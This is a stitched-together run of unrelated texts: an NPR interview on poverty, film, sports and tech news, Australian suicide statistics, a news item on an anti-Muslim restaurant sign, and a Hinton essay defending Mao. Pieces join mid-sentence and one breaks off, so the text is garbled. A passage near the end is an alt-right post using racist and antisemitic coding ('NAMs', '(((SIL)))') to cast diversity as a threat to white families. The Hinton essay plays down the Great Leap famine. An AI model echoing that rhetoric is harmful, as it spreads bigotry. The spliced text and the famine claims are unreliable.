EDELMAN: That really relates to what's happened to our economy, and also to family structure in the country. The problem is we have so many low-wage jobs, and we have so many people - generally single mothers - who only have one person in the household who could go out and earn money, and just can't get her family out of poverty, or out of near-poverty with the kind of job that she can get. Those two things together are just having a horrible effect, and that - together with politics, together with continuing attitudes about race and gender in the country - that's what's keeping us from doing better.
MARTIN: We're going to talk to Tim Noah in just a minute to talk more about income inequality. But income inequality also plays a role in your argument, as well. Are you arguing that income inequality is not just a symptom of growing poverty, but it's actually part of the problem?
EDELMAN: There's always been a divergence between the top and the bottom in this country, but it's just hugely grown in the last 40 years. So we've had growth, but everybody in the bottom half - not just the poor - have really not made progress at all, and at the very bottom, people have lost ground.
MARTIN: Tim Noah, this leads to you. You talk about two great divergences in your book. One is the skills gap. And then there's the income divergence between the top one percent and everybody else. Talk a little bit more about why this matters.
NOAH: Right. There are two gaps. One is based on skills. And my focus is on the middle class and the gap between people who have high school degrees and people who have college degrees and, increasingly, graduate degrees has increased. That's one divergence. The other divergence is the famous one percent versus the 99 percent, which has been a function, mainly, of out-of-control CEO pay and the financialization of the economy.
The skill-based divide is more complex, and it has partly to do with failures in our education system and the decline of the labor movement in this country.
MARTIN: Well, talk a little bit more, though, about why this matters. Of course, you know that there are many people who will argue that his gap doesn't matter at all, and, in fact, some would argue that this huge escalation in, you know, CEO pay is a good thing, because it's an incentive for people to be more creative, to try harder and to do things that lead to innovation. You say no.
NOAH: Right. Well, I think all arguments against the income inequality boom begin from the premise that of course we need some income inequality in the United States. Any capitalist system requires that skill and effort be rewarded to some extent. The question is: How much do you need? And the even more urgent question, I think, is: What happens when the inequality gap grows and grows and grows and never stops growing, as has been occurring since 1979? That's a true cause, I think, for concern.
It matters for our society, and I think it matters for our economy. In our society, you have a deepening sense of alienation between the middle class and the rich, and I would imagine also between the poor and the rich. And that is not healthy to our society.
With regard to the economy, it seems to me, if you need to reward people at the top, why don't you need reward people at the middle, at the median? We haven't seen incomes rise for the past decade. At the same time, we've seen productivity increase substantially. Now, if I'm at the median and I'm not going to see any economic reward from increasing my productivity, why should I make any effort at all?
MARTIN: If you're just joining us, this is TELL ME MORE, from NPR News. I'm speaking with Timothy Noah - that's who was speaking just now - and Peter Edelman. Both have recently authored books about income inequality and the persistence of poverty in this country.
Professor Edelman, I'll go back to you, here. First of all, you know that there are many people who also argue that people aren't more poor in this country, that extreme poverty is not worse than it was in the past. I know that one of the arguments that particularly bedevils you is the argument that, in fact, poor people are less poor than they used to be because they consume more calories, have more access to technology than any previous generation of poor people did in the past and, in fact, anywhere else in the world. Could you just address that, just briefly, if you would?
EDELMAN: If you're below the poverty line, why is it that you should be held to some kind of a third-world standard of being poor? That's ridiculous. Being poor in the United States is partly relative to what happens to other people, although try it and you'll find it doesn't work very well. And then the thing that's being left of these arguments is how many people are really in dire circumstance, where some kind of argument about their being here in the first world and not in the third world really doesn't apply. For some people, it really is like the third world in our country.
MARTIN: Well, one question that each of you addresses in your own way I'm interested in each of your perspective on it, it says: If things are as bad as you describe in both of your books, why isn't there more social unrest? I mean, we see in Europe, for example, where austerity measures have been proposed, that there are - there is - there are riots in the street. Why are we not seeing more of that here, Timothy Noah?
NOAH: I think partly it's because the decline of the labor movement. I think Americans do not naturally incline towards thinking collectively about their plight. There is a tendency - as you say - to kind of turn inward, to think that I am the captain of my fate, captain of my ship and so on. But the unions teach people to think collectively, and union representation is way, way down. In the 1950s, close to 40 percent of workers were covered by union contracts.
Now, in the private sector, that's down to seven percent. We hear a lot about public sector unions. We don't hear a lot about the really remarkable decline of private sector unions. We're back to where we were before the New Deal.
MARTIN: Professor Edelman, you have any thought about that?
EDELMAN: I think that the question of so much low-wage work has been with us for 40 years, and I think that people have become kind of inured to it and really think that nothing can be done about it. It's my hope that we haven't seen the end of what Occupy started, and that we get to the point where people are so disgusted by these incredible gaps between the top and the bottom that, as happened during the Progressive Era, they do begin to speak out about it, act about it and vote differently about it.
I think there's a real struggle that's quite possible, and that we should be having for those people who are between let's say the poverty line and twice the poverty line. We now have 103 million people who have incomes below twice the poverty line, below $44,000 for a family of four.
I think they're politically reachable if there would be more attention to them and more telling them that it's not their fault. There really is a structural problem that could be solved with a different politics.
MARTIN: Why should people who are doing well care about this?
EDELMAN: They should care because it really is the nature of our country that's at stake. For one thing, just in their self-interest, if they're corporate people, the fact is that if everybody in this country was a consumer, if more people were working and were getting a better income from work, they would sell more of their products and services.
But also, these kinds of gaps really turn us into a different country. The kind of corporate power that we have politically now really endangers our democracy.
NOAH: And I would agree with that. It's a bit parallel to what Martin Luther King said about racism. He said it didn't just harm African-Americans. It harmed the entire society. I think economic inequality similarly harms the entire society, and there's some research to back that up. Health outcomes, for example, are worse in societies where there's greater income inequality and, at the very least, that means that the rich are going to have to pay more for health care.
MARTIN: Let's just - in the minute we have left or couple minutes that we have left - let's hear from each of you about your prescriptions for this problem that you both described. Professor Edelman, you want to go first?
EDELMAN: I think the immediate thing is to restore the safety net at the very bottom, which we've destroyed by destroying cash assistance. But that's just the immediate thing, although it is a crisis. We have to figure out how to get more money into people's pockets from their work because jobs that pay enough to live on are at the heart of any poverty struggle. And, of course, educating our children and investing in our children is absolutely crucial.
MARTIN: Timothy Noah?
NOAH: Well, I would certainly agree with everything that Mr. Edelman says and, in addition, I would raise marginal rates on the rich. The top rate is now half what it was when Ronald Reagan was elected. I would create a jobs program in the government along the lines of the WPA in the 1930s. I would impose price controls on college tuition, which are out of control. I would also empower shareholders to restrict CEO pay and I would reregulate Wall Street, to some extent.
In addition to solving or addressing the income inequality problem, it would also make our economy much more secure.
MARTIN: Timothy Noah is senior editor at the New Republic. He's author of the new book, "The Great Divergence: America's Growing Inequality Crisis and What We Can Do About It." He was kind enough to join us in our Washington, D.C. studio.
Peter Edelman is a professor of law and the faculty director of the Center on Poverty, Inequality and Public Policy at Georgetown University. He's the author of the new book, "So Rich, So Poor: Why It's So Hard to End Poverty in America." He was kind enough to join us on the line from Boston.
Gentlemen, thank you both so much for speaking with us.
NOAH: Thank you.
EDELMAN: Thank you very much.
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The film will be produced by Fredrik Malmberg and Chris Morgan. Malmberg is CEO of Paradox Entertainment, which holds the rights to Conan. Morgan is the Universal-based writer and producer whose credits include the last four Fast And The Furious films, along with Wanted and 47 Ronin. Morgan has hatched the story and might write the script. The caveat is that the studio wants The Legend Of Conan for summer 2014, and Morgan might not be finished writing the seventh Fast And Furious installment by then. If that happens he will be a very active producer, because this is Morgan’s dream project.
Schwarzenegger starred in two Conan films before moving on to Terminator and other blockbusters as he became the world’s biggest action star. Paradox was involved in a 2011 reboot at Millennium Films that starred Jason Momoa and misfired. Paradox’s Malmberg, who moved the project away from Warner Bros after seven years of development with big-name filmmakers because the project was moving too slowly, feels that this is the version of the film that he and everybody else always wanted to see on the screen but couldn’t while Schwarzenegger was governor of California.
“The original ended with Arnold on the throne as a seasoned warrior, and this is the take of the film we will make,” Malmberg told me. “It’s that Nordic Viking mythic guy who has played the role of king, warrior, soldier and mercenary, and who has bedded more women than anyone, nearing the last cycle of his life. He knows he’ll be going to Valhalla, and wants to go out with a good battle.”
There are no plans for Momoa to return. Morgan said that in his mind, The Legend Oof Conan not only skips over that film, but also the 1984 sequel that Schwarzenegger starred in. The direct link is to the original, which was directed by John Milius from a script he wrote with Oliver Stone. That was a testosterone-laced exploration of Howard’s mythology of a child sold into slavery who grows into manhood seeking vengeance against the warlord who slaughtered his family and his village.
“After the original seminal movie, all that came after looked silly to me,” Morgan said. “Robert E. Howard’s mythology and some great philosophy from Nietzsche to Atilla the Hun was layered in the original film. People say, he didn’t speak for the first 20 minutes of the film, but that was calculated in depicting this man who takes control of life with his own hand. This movie picks up Conan where Arnold is now in his life, and we will be able to use the fact that he has aged in this story. I love the property of Conan so much that I wouldn’t touch it unless we came up with something worthy. We think this is a worthy successor to the original film. Think of this as Conan’s Unforgiven.”
They’ve yet to figure out whether the film will be R-rated like that original, but they won’t flinch from the hardness of the period depicted.
“I loved the choices they made in that film,” Morgan said. “You start with the wholesale slaughter and death of Conan’s village at the hand of the warlord played by James Earl Jones, and you see young Conan chained to a wheel as he becomes stronger. Then he’s a pit fighter, and later basically a stud bull before he meets the first kind person of his life, who lets him go. All of that horrific stuff happened for a reason, and then an act of kindness sends him on his journey. Will that level of violence be there? Absolutely, but only if it serves a character who lives by that barbarian law of the wild, who is capable of extreme violence and rage, but who has created his own code and operates from within it. By the end of that film, Conan became a certain character, and this film picks him up there, as he faces different challenges that include dealing with age.”
Said Schwarzenegger: “I always loved the Conan character and I’m honored to be asked to step into the role once again. I can’t wait to work with Universal and the great team of Fredrik Malmberg and Chris Morgan to develop the next step of this truly epic story.”
Universal co-president of production Jeff Kirschenbaum will oversee the project, and attorneys Patrick Knapp and Richard Thompson made the deal for Paradox. CAA reps Schwarzenegger along with Knapp and Jake Bloom. ICM Partners reps Morgan.Aboriginal and Torres Strait Islander people take their lives at more than four times the rate of non-Indigenous people in some demographics, according to data issued by the Australian Bureau of Statistics.
Information recorded in 2010 showed that the rate of suicide among Indigenous men aged 25 to 29 was 90.8 deaths per 100,000 people, compared to 22.1 in its non-indigenous counterpart.
Chair of National Aboriginal and Torres Strait Islander Leadership in Mental Health, Professor Pat Dudgeon, told SBS that the suicide rate among Indigenous people was increasing.
“There aren’t very many Aboriginal or Torres Strait Islander people who haven’t had a suicide in their families nowadays,” she said.
“In my immediate and my extended families, we’ve had people that have taken their own lives. I think it’s becoming not an unusual thing for a lot of people, a lot of families.
“None of us can ignore that this is happening in our communities.”
Listen: Stephanie Anderson speaks with Professor Pat Dudgeon.
Professor Dudgeon will lead a new project addressing what she called “appalling” suicide rates.
She said the Aboriginal and Torres Strait Islander Suicide Prevention Evaluation Project would formally examine existing Indigenous suicide prevention services and help develop an evidence base for successful programs.
She hoped the project, to be undertaken by the University of Western Australia's School of Indigenous Studies in partnership with the Telethon Kids Institute, would also help unravel some of the factors driving the rates.
“I believe that it is consequence of the history of colonisation, ongoing disadvantage and other inequities,” she said.
“It’s all coming out now. Services probably haven’t been able to provide good services for Aboriginal and Torres Strait Islander populations. Certainly, there’s a lack of access to those services.”
Australian deaths by suicide (Data: Australian Bureau of Statistics)
Tom Calma, chair of the body that developed the National Aboriginal and Torres Strait Islander Suicide Prevention Strategy, welcomed the funding.
In a statement, Dr Calma – also a member of the National Aboriginal and Torres Strait Islander Leadership in Mental Health – said the project will help draw a line under the “tragic situation”.
“This Project will provide hope that… our young people in particular can look forward to long and fulfilling lives as proud and strong members of the Aboriginal and Torres Strait Islander peoples of this country,” he said.
Comment has been sought from Senator Nigel Scullion, Minister for Indigenous Affairs.
Suicide rates increasing
Australia Bureau of Statistics data also highlighted an increase in the number of suicides, from 2361 cases in 2010 to 2535 in 2012.
The rate of deaths due to suicide also rose, from 10.5 per 100,000 people in 2010 to 11 in 2012.
The data highlighted demographics of concern, including young men and rural residents.
In 2010, 24 per cent of male deaths aged 15 to 24 years were due to suicide, while it accounted for more than a quarter of deaths of men in the 20 to 24, 25 to 29 and 30 to 34 year age groups in 2012.
Data collected over the decade to 2010 showed significant differences in suicide rates between urban and rural areas, with the difference as large as 50 per cent in some states.
In Victoria, Melbourne recorded a suicide rate of 10 per 100,000 throughout 2001 to 2005, compared to 15.8 in rural areas.
Similarly, Brisbane recorded a rate of 11.5 suicide deaths per 100,000 people compared to 17.2 deaths in rural Queensland.
Anyone seeking support and information about suicide prevention is encouraged to contact:Feelings in that area are running the gamut. Grief, sadness, fear, confusion, anxiety, anger.
We leave anthing out? Ah, yes. Hate.
On Monday, drivers in the small town of Lonsdale, Minnesota (pop. 3,674) were assaulted with a shocking message outside Treat's Family Restaurant.
"FOOD," the sign advertised. It continued: "ICE CREAM."
There's more!
"POP."
Sure.
"MUSLIMS GET OUT."
What in God's name is that doing there?
At least one resident of that town (actually about 100 miles southeast of St. Cloud; Minneapolis is a lot closer) complained in such a way that the local police got involved to end an "altercation," according to the Lonsdale News Review.
Owner Dan Ruedinger realized his original message was being misunderstood, so he added the words "IN SUPPORT OF ST. CLOUD." Thanks Dan. Now we get it.
"I've had enough and I'm standing up," Ruedigner told the paper. "With all the bombs and shootings we've had, we're supposed to welcome refugees here who want to kill us?"
In his next breath, Ruedinger said the Muslims who are "good people" who "want a better life" should "take control and hold the others accountable."
Well which is it, Dan? That refugees coming to America "want to kill us"? Or that some of them "want a better life"?
The truth is most refugees trying to gain entry to the United States are fleeing violent Muslims who are trying to kill them. Coincidentally, if Dan Ruedinger's going to be fighting anyone, it's probably another person living in lily-white Lonsdale: A woman who didn't like his sign stopped her car and started taking down the letters, leading to police involvement, without arrest.
Later on, Minnesota Public Radio notes, the restaurant owner volunteered that he would've written "MUSLIM EXTREMISTS GET OUT" if he'd had the right letters.
Please, someone help Dan Ruedinger. It seems he's short on E's, M's, S's, and empathy.NEW DELHI: With the mercury soaring across the country, the water storage availability at India's 91 major reservoirs has dipped to 37.92 billion cubic metres, which is just 24% of total storage capacity of these reservoirs.The central water commission in its latest bulletin noted that the storage status of these reservoirs as on April 7 was less than the corresponding period last year.The reservoirs usually get their share of water during the June-September monsoon period. The decline of water availability this year is attributed to less rainfall in 2014 and 2015. Since water from these reservoirs is used for irrigation purposes, the status of availability indicates the position of supply during rabi (winter) crop season.With the India Meteorological Department predicting abundant rainfall this year, it is expected these reservoirs will get enough water during the June-September period.At present, states having lesser storage than last year for corresponding period are Himachal, Punjab, Bengal, Rajasthan, Jharkhand, Odisha, Gujarat, Maharashtra, UP, Uttarakhand, MP, Chhattisgarh, Telangana, Tamil Nadu, Karnataka and Kerala.Only two states, Andhra Pradesh and Tripura, have reported better storage vis-a-vis the previous year.The total storage capacity of these 91 reservoirs is nearly 157bcm or nearly 62% of the total storage capacity of 253 bcm estimated to have been created in the entire country. Thirty-seven reservoirs out of these 91 have hydro-power benefit with installed capacity of more than 60 MW.The decline of water availability this year is attributed to less rainfall in 2014 and 2015. However, with the IMD predicting abundant rainfall this year, it is expected these reservoirs will get enough water during the June-September period.Cites Anti-LGBT Law's 'Public Safety Risk' - Constitution State is Fourth To Act - Several Major Cities Have Also Joined Boycott
Connecticut Democratic Governor Dannel Malloy has signed an executive order banning non-essential state-funded travel to North Carolina, joining New York, Washington, Vermont, and cities including New York City, Portland, San Francisco, and Seattle. All bans are in response to North Carolina Governor Pat McCrory's decision to sign HB2, a sweeping anti-LGBT bill into law last week.
"When we see discrimination and injustice, we have to act," Gov. Malloy said in a statement. "This law is not just wrong, it poses a public safety risk to Connecticut residents traveling through North Carolina. That's why I have signed an executive order banning state-funded travel to the state."
RELATED: 3 States And Several Large Cities Now Banning Publicly-Funded Travel To North Carolina Over LGBT Law
Among other acts, HB2 voids all LGBT nondiscrimination ordinances across the state, bans transgender citizens from using public building restrooms that comply with their gender identity, and removes the right to sue in state court over nondiscrimination issues.
"This law endangers the welfare not just of North Carolina's citizens, but of all people visiting that state," Governor Malloy said. "Nearly two decades ago, Connecticut was among the first states to pass a comprehensive anti-discrimination law concerning sexual orientation, and three years ago I proudly signed a law adding gender identity and expression to those statutes. We need to do what we can to stand up and act against laws that encourage - as a matter of public policy - discrimination and endangerment of our citizenry. It's unacceptable, and Connecticut is acting."
Just in: Exec order by Connecticut gov. banning govt travel to NC to protest anti-LGBT law: https://t.co/7drBeQFSYP pic.twitter.com/Q3CGeeccbQ — Dominic Holden (@dominicholden) March 31, 2016
Gov. Malloy "wrote North Carolina business owners this week inviting them to relocate their companies here in the wake of a law critics have said is discriminatory toward the LGBT community," the Hartford Courant reported Wednesday.
Image via Twitter
See a mistake? Email corrections to: [email protected]For all the talk of smartwatches over the past year-plus, it’s been difficult to convince most people that it’s worth wearing one every day. Casio thinks it has a solution, though — while you definitely won’t want to wear its first smartwatch seven days a week, you might find it genuinely useful for one or two.
The Smart Outdoor Watch WSD-F10 is a gigantic, rugged Android Wear device with a specific use case: it’s the smartwatch you’ll take into the great outdoors. It’s water-resistant to 50 meters with MSL-STD-810 US military compliance, and comes with a pressure sensor along with the compass and accelerometer.
The 1.32-inch 320 x 300 screen — yes, there’s a Moto 360-style "flat tire," though it matches the Casio aesthetic a little more naturally than with Motorola’s attempt at traditional watch styling — is a dual-layer LCD with a monochrome mode that can extend battery life from over a day to over a month. The watch doesn’t do anything but tell the time in that mode, though. The Smart Outdoor Watch is unashamedly colossal For the full-color mode, Casio has developed special watch faces it calls "tools" that offer convenient access to the Smart Outdoor Watch’s sensors and other relevant information. You can check altitude, air pressure, compass direction, tide graphs, sunrise and sunset times, and your own activity, and there’s a dedicated button to easily switch between each tool even when you’re wearing gloves. And make no mistake, this is a smartwatch you’re meant to wear with gloves and maybe a North Face jacket rather than a crisp shirt. Its 61.7mm × 56.4mm × 15.7mm case is unashamedly colossal, fitting right into the same hiking aesthetic as Casio’s regular outdoor watches. For better or worse, this is a watch that knows what it’s going for and nails it. It’s available in a black finish, but I recommend the orange, red, or army green models instead — the Smart Outdoor Watch is never going to look subtle or subdued on your wrist, so you might as well own that fact.After not being selected to run Porsche’s factory GT Le Mans program, Flying Lizard Motorsports is mapping out plans for a concentrated effort in the GT Daytona category next year, Sportscar365.com has learned.
The two-time American Le Mans Series championship-winning squad moved to the GTC ranks this year with a two-car customer Porsche 911 GT3 Cup car effort. With three class wins in the last five races, the California-based squad currently leads the title race heading into the penultimate ALMS round at VIR.
According to team manager Eric Ingraham, a two to three-car attack is planned for next year, depending on the level of customer interest. He said a decision on what cars to race will likely be made by early next week.
“We’re getting very close to a decision,” Ingraham told Sportscar365. “We’ve got it narrowed down quite a bit. That said, we’re finalizing now, trying to get the final numbers out there, understand what’s out there and understand how competitive it can be. Then we’ll make the decision from there.”
Ingraham admitted one of the options is Porsche’s new 911 GT America, which is expected to make up the majority of the GTD field next year. While the team has enjoyed a 10-year relationship with the German manufacturer, Ingraham said they are seriously evaluating other options as well.
“We’ve had a pretty singular objective the entire time we’ve had the team, which is to win championships. We want to be in a position to do that in the first year of the new series,” Ingraham said.
“The question for us is the best value and the most competitive option. Whatever’s out there is what we want to be doing. We’ve had a long relationship with Porsche and we’d love to continue that if that puts us in the best position.”
While an announcement about Flying Lizard’s 2014 program is expected to come during or shortly after the Petit Le Mans weekend, the team expects to have at least one car at the official USCC pre-season tests at Sebring and Daytona next month.
Ingraham confirmed Flying Lizard was one of at least three teams that submitted bids for Porsche’s works GT LM program, which went to CORE autosport. The team still has aspirations of returning to the category in the future, ideally in a factory capacity.MANILA, Philippines—United States President Barack Obama has nominated a State Department intelligence official for the next United States ambassador to the Philippines.
Philip Goldberg, Assistant Secretary at the Bureau for Intelligence and Research (INR) at the US Department of State, will replace outgoing US Ambassador to the Philippines Harry Thomas Jr., if confirmed by the US Congress, the US Embassy in Manila said yesterday.
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Thomas will be leaving the Philippines soon, having completed a three-year tour of duty here.
Goldberg, 57, was one of eight officials that Obama nominated to key administration posts on July 30, including the new US envoys to Indonesia, Namibia, Trinidad and Tobago, Cameroon, Argentina and Niger, as well as a new deputy interior secretary.
“I am grateful that these impressive individuals have chosen to dedicate their talents to serving the American people at this important time for our country. I look forward to working with them in the months and years ahead,” Obama said in a statement that the US Embassy released on Wednesday.
Goldberg, a career diplomat, has served various posts around Eastern Europe, Africa and Latin America throughout his career.
A Boston native, Goldberg served as the State Department’s Bosnia Desk Officer from 1994 to 1996, during the Bosnian War. He returned to the home office as special assistant and later executive assistant to the deputy secretary of state until 2000.
He briefly served as acting deputy assistant secretary for legislative affairs in 2001 before being posted in Santiago, Chile, as charge d’affaires and deputy chief of mission until 2004.
Goldberg then served as chief of mission in Pristina, Kosovo, from 2005 to 2006 before being posted to Bolivia from 2006 to 2008, his last known overseas posting.
His time in Bolivia was punctuated by controversy after Bolivian President Evo Morales kicked him out of the country in 2008, accusing the US envoy of meddling in state affairs amid the political unrest in the South American state.
Bolivia suspected Goldberg of provoking the political opposition and of ordering US Peace Corps volunteers to undertake surveillance in their areas of assignment, charges that Washington denied.
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Morales, who figured in the news earlier this month after Europe diverted a plane carrying the Bolivian president suspected of carrying US fugitive and intelligence whistle-blower Edward Snowden, is known to be an ally of Venezuela, a US critic.
Goldberg also served as an officer at the US Embassy in Bogota, Colombia and Pretoria, South Africa.
In his current posting at
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this interview is basically a cry for help. Not like, “Someone please check me into rehab,” but “Someone please come over and help me drink all this fucking beer!” [Laughs] Plenty of bands — metal and otherwise — have their own beers these days. But you guys were in on it pretty early.
Yeah, I think it was in 2009. It was the Fourth of July, and we were playing the Sonisphere festival in Germany with Metallica, Lamb of God, Anthrax, Down and some other bands. Our buddy Stephan [Michel] from Mahr’s Bräu, he’d always hooked us up with beer from back when we first started touring Europe. He knew we were going to be missing home, missing our hot dogs and fireworks, so he just showed up with 20 cases of their unfiltered lager with these awesome Mastodon labels on it! And then the next year that we went back, after our album The Hunter had come out, he did another batch with The Hunter label on it, and you can still buy it now. And then we got approached a few years later by Signature Brew out of the UK to do a Black IPA, so we did the Black Tongue double Black IPA, which was delicious. How involved were you in the creation of Black Tongue?
We did a little tasting with those guys at the Reading and Leeds festival in 2013; they came and set up a bunch of different styles of beer, and we just kind of pointed in the direction that we wanted to go, based on the different beers we tasted. We didn’t get to be part of the brewing process – we wanted to, but didn’t have the time – but we did give them some direction, and we had [artist] David Cook draw up the label for it, and I thought it tasted awesome. I’ve still got a few bottles sitting down there in the basement, though they probably don’t taste too good at the moment!
We’re just trying to build awareness, especially in light of the recent suicides we’ve had with two major figures in the music world.”The Daily Record has been banned from attending matches or press conferences at Rangers. The board’s edict was issued by chief executive Derek Llambias through an email and fax sent to the Glasgow-based newspaper on Monday evening.
The paper reports that Llambias did not give any reasons for the move, one of many such newspaper bans by football clubs across the UK. He wrote:
“Following recent reporting by your journalists in the Daily Record, I am writing to inform you that with immediate effect the Daily Record newspaper will banned from attending all Rangers press conferences and games at Ibrox Stadium and Murray Park”.
Rangers is in the middle of a takeover tussle at present, with three people evidently seeking to take control of the club.
They are Dave King, a Glaswegian-born businessman now based in South Africa; Mike Ashley, the founder of Sports Direct, and now its deputy executive chairman, who also owns Newcastle United; and - from left field - Lalit Modi, who founded the Indian Premier League cricket tournament.
Ashley’s Newcastle club has subjected the papers in the city, the Journal and Chronicle, to bans in the past. As recently as October 2014, it emerged that it was official policy for the club not to answer questions asked by its reporters.
It may be significant that the Newcastle papers, like the Record, are owned by Trinity Mirror.
Ashley may have taken exception to the Record’s coverage, viewing it as sympathetic to King (example here), but he hasn’t made any statement to that effect. Modi has received less welcome publicity in the Record (see here and here).
As far as the Record is concerned, it has pledged to continue reporting the Rangers crisis “without fear or favour”. Editor Murray Foote says: “We’re disappointed by this ban but will continue our robust, fair and accurate reporting of Rangers”.
The Record is not alone, of course. The Scotsman is also covering the unfolding story.
But it has to be said that the mainstream Scottish press has had - pun intended - a poor track record in reporting on the disintegration of Rangers. Taking sides in boardroom battles has proved to be counter-productive, quite apart from being poor journalism.Talked to my brother and his wife recently. They live in a very expensive township with lots of Asian and some NAM diversity. They're blue pill to the core, upper middle class NeverTrumpers who champion H1B visas because they are in pharma, and without Indian people the business would fail due to not enough qualified Americans.
Anyway. Their son just started kindergarten in the overloaded public schools. My (((SIL))) is upset because her son is a minority in his class. None of the NAMs or Asian kids want to play with him.
I said to her, "this is what you want, though, right? Diversity is our strength."
She blinked for a second and said she wanted diversity, she just doesn't want her son to be a minority.
Not because Hillary is a drug-fortified zombie being literally propped-up by her handlers, but because, given sufficient time, identity always trumps ideology in the end. A woman at Alpha Game recounts her relatives' initial experience with the White Pill:Virtually none of the white diversity and equality advocates actually believe what they claim to believe, and quite possibly even think they believe. They can argue about how the Great Society ruined the black family or reference sob stories about the anti-Communist Boat People or declare that Hispanics are naturally conservative family-oriented people all they like, because at the end of the day, experiencing the hard reality that their children are now a despised minority will hit them in the solar plexus and cause them considerable intellectual and emotional distress.Remember, most people cannot think in the abstract. They cannot make sense of concepts that are outside their range of direct experiences. To them, diversity means an imaginary limit of perhaps 40 percent people with different color skin who are nevertheless ordinary white people just like them on the inside. They have never spent a single day in Tokyo, where there are thousands of Asians in every direction without a single white face as far as the eye can see. They have never sat in a single meeting where everyone is rapidly speaking a language you don't know well enough to follow.They simply cannot imagine any situation where those like them are not in complete control of the situation. They think it is safe to indulge themselves in their virtue-signaling in favor of diversity and equality and progress, never realizing that those things not only have consequences, but will have severe consequences that will impact the lives of them and their children.And once goodthinking white people start experiencing those consequences in sufficient numbers, they will become badthinkers, in fact, they will become far more vociferous badthinkers than we thought criminals who rejected goodthink all along.
Labels: immigration, SJWWilliam Hinton was the author of the classic study of revolution in a Chinese rural village, Fanshen. His numerous books on China made him one of the great chroniclers of that country’s revolution in the second half of the 20th century. He died on May 15, 2004. See the July-August issue of MR or MR’s Web site for a full appreciation and obituary.
This essay is adapted from a talk given at the 1999 Socialist Scholars Conference in New York City.
In 1995 a foreign reporter interviewed me about Mao. She sought me out as someone who had met the man in person and openly admired him over the years. She asked, What about all the people he killed? What about all those famine deaths? And what about all the suffering and destruction of people in the Cultural Revolution? With these questions she lined herself up with the current media line on Mao, the line of conventional wisdom, which is to present him as a monster—Mao, the monster. The usually more enlightened BBC reached a new low that week with their Mao centenary program. It made him out to be not only a monster but also a monstrous lecher far gone into orgies with teenage girls. Such a low level of attack! It cheapened the BBC and should have backfired, but you never can tell these days.
The Mao-the-monster thesis depends on two major charges. The first makes him responsible for all the euphoria and excesses of the Great Leap Forward and the organization of people’s communes, which, so the charges go, led to a collapse of production and finally to famine in China. (Isn’t it indeed strange that this famine was not discovered at the time but only extrapolated backward from censuses taken 20 years later, then spinning the figures to put the worst interpretation on very dubious records.) I do not mean to say that there were no mistakes in policy, no crop failures, and no starvation at all, but the hardships of those years are advertised as the greatest famine in human history, a conclusion that I do not accept.
The second charge blames Mao for the extremes of violence and all the personal tragedies that occurred during the Cultural Revolution. Must Mao take the blame for all these phenomena?
I think it is wrong to blame Mao in this wholesale fashion. Such suffering as did result during both these periods arose as a consequence of protracted political warfare. This political warfare, in turn, grew out of the clash between two newly emerged classes—workers and bourgeoisie—over the future direction of China after the victory of 1949. The struggle between them was inevitable and reflected the principal political and social contradiction that arose in China after liberation. Until 1949, the principal contradiction had been between the Chinese people on one side and on the other the feudal style landlords, their offspring the bureaucratic capitalists, and backing them all, the foreign imperialists, especially (from the 1930s onward) the Japanese who set out to conquer China by armed force. The character of the revolution generated by this contradiction was democratic, or as Mao termed it, New Democratic. What then is the New Democratic Revolution? I have written some clarification of this question in my book, The Great Reversal: The Privatization of China, 19781989 (Monthly Review Press, 1990). It can be summarized as follows:
In the 1930s, Chairman Mao declared that the capitalist road was not open to China in the 20th century. The Chinese revolution against internal feudalism and external imperialism, he said, could not be a democratic revolution of the old type—like the British or the French—a revolution to open the road to capitalism, but must be a democratic revolution of a new type, one that would open the road to socialism. Why? In the first place the imperialist powers would not allow China to carry out any transformation aimed at autonomous capitalist development. Every time any section of the Chinese people rose up to challenge traditional rule the powers intervened, singly or in unison, to suppress the effort by force of arms. This predictable response led Sun Yat-sen to ask, Why don’t the teachers ever allow the pupils to learn? He asked this because the Americans were preaching to them about the marvels of capitalism and told them, you Chinese should develop capitalism, but every time they tried to develop it the Americans intervened to crush it! The answer was, of course, that the landlord class as a whole and the compradors in business and government served as the main props of imperialist power in China. Hence the Americans used all their financial and military might to support, inspire, foster, and preserve these feudal survivals and their comprador offspring.
In the second place, Mao said, capitalism was not an option because socialism will not permit it. By this he meant that without allying with and winning support from all the socialist forces in the world—first of all the Soviet Union and second the working classes and working-class movements of Japan, Britain, the United States, France, Germany, Italy, and other countries and the backing these provided through their own struggles against capitalism and imperialism, the Chinese revolution could not possibly succeed. In the modern era, defined by Mao as an era of wars and revolutions, in which capitalism was unquestionably dying and socialism unquestionably prospering, such an alliance and such support would come only as a response to a Chinese revolution of a new type—a Chinese revolution clearing the ground for working-class power and socialism and not a Chinese revolution clearing the ground for bourgeois class power and capitalism.
Finally, China’s independent national bourgeoisie, the revolutionary sector of the bourgeois class, was weak and vacillating. It could not possibly take on both the Chinese landlords and the imperialists plus their Chinese comprador partners without fully mobilizing both the working class and the peasantry. But mobilizing the working class meant putting certain limits on managerial powers and meeting certain working-class demands—job security, retirement pay, and health care—while mobilizing the peasantry meant carrying out land reform. This could not be done without confiscating the wealth of the landlord class, from which the bourgeoisie had, in the main, arisen and to which it still maintained myriad ties. Furthermore, the confiscation of property and land threatened the foundations of all private property and caused capitalists—much as they desired liberation from feudalism and imperialism—to vacillate. Over and over again, the national bourgeoisie proved incapable of firm national leadership against the people’s enemies, foreign and domestic. Leading the Chinese democratic revolution thus shifted by default to the working class, more numerous by far and older and more experienced than the bourgeoisie, and to the Communist Party that had established itself as spokesman for all the oppressed.
With the Communist Party assuming leadership in the revolution, mobilizing both workers and peasants by the millions and threatening to confiscate not only all the land of the landlords but all the property of the imperialists and their comprador and bureaucratic allies, the first goal of the revolution could hardly be capitalism. Mao projected a new national form, a mixed economy heavily weighted on the side of public and collective ownership with joint state-private and wholly private enterprises of the national capitalists playing a minor supporting role. Hence this led to the concept of a New Democratic Revolution and a New Democratic transitional period and the eventual establishment of a New Democratic state, with a mandate to carry land reform through to the end and to nationalize the wealth (industrial, commercial, and financial) monopolized by the four great bureaucratic families of China and, within certain limits, to help the national capitalists to get on their feet. The great victory of l949 brought all this about as projected. It resolved the old contradiction with feudalism and bureaucratic capitalism backed up by imperialism on the mainland and brought a new contradiction to the fore—the Chinese people versus the bourgeoisie. The character of the revolution from that point on was socialist, even though many New Democratic tasks remained to be completed—such as land reform in the newly liberated areas. So the character of the political struggle had changed.
